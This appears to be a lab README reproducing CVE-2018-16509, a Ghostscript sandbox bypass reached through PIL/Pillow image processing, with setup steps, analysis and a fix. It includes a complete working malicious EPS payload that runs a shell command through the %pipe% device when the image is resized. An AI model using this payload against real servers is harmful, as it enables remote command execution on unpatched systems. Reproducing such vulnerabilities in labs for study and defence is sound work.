# Python PIL/Pillow Remote Command Execution (CVE-2018-16509)

[中文文档](README.zh-cn.md)

PIL/Pillow is a widely used image processing library in Python.

In Ghostscript versions prior to 9.24, there exists a -dSAFER sandbox bypass vulnerability (CVE-2018-16509). Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.

This vulnerability affects various applications that use Ghostscript for image processing, including Python's PIL/Pillow library. When an application uses PIL/Pillow to process user-uploaded images and the environment has a vulnerable version of Ghostscript installed, it may lead to remote command execution.

References:

- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
- [Ghostscript Sandbox Bypass Analysis](https://paper.seebug.org/1159/)

## Environment Setup

Execute the following command to start a vulnerable Flask application (using Ghostscript 9.23):

```
docker compose up -d
```

After the environment is started, visit `http://your-ip:8000` to see a simple image upload page.

## Vulnerability Reproduction

Prepare a malicious EPS file (provided as `rce.jpg` in this environment) with the following content:

```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
```

Visit `http://your-ip:8000` and upload this file.

After uploading, the server will process this image using PIL/Pillow, and when the `resize` function is called, it will trigger the vulnerability and execute the `touch /tmp/got_rce` command.

Execute the following command to verify if the vulnerability has been successfully exploited:

```
docker compose exec web ls -la /tmp/
```

If you see the `/tmp/got_rce` file, it means the command execution was successful.

## Vulnerability Analysis

The core of the vulnerability lies in PIL/Pillow calling the system's Ghostscript program when processing EPS images. In `EPSImagePlugin.py`, PIL uses `subprocess` to call Ghostscript:

```python
command = ["gs",
           "-q",                         # quiet mode
           "-g%dx%d" % size,             # set output geometry (pixels)
           "-r%fx%f" % res,              # set input DPI (dots per inch)
           "-dBATCH",                    # exit after processing
           "-dNOPAUSE",                  # don't pause between pages
           "-dSAFER",                    # safe mode
           "-sDEVICE=ppmraw",            # ppm driver
           "-sOutputFile=%s" % outfile,  # output file
           "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                         # adjust for image origin
           "-f", infile,                 # input file
           "-c", "showpage",             # showpage
           ]
```

Although the `-dSAFER` parameter is used, Ghostscript versions prior to 9.24 have a sandbox bypass vulnerability that allows attackers to execute arbitrary commands through specially crafted PostScript code.

In the sample application, when an image is uploaded, it is processed as follows:

```python
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)

resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
```

Simply calling `Image.open()` will not trigger the vulnerability, but when methods that actually need to load image data, such as `resize()` or `save()`, are called, they will trigger the Ghostscript call and execute malicious commands.

To fix this vulnerability, you need to update Ghostscript to version 9.24 or higher, or disable EPS image processing functionality when using PIL/Pillow to process user-uploaded images.
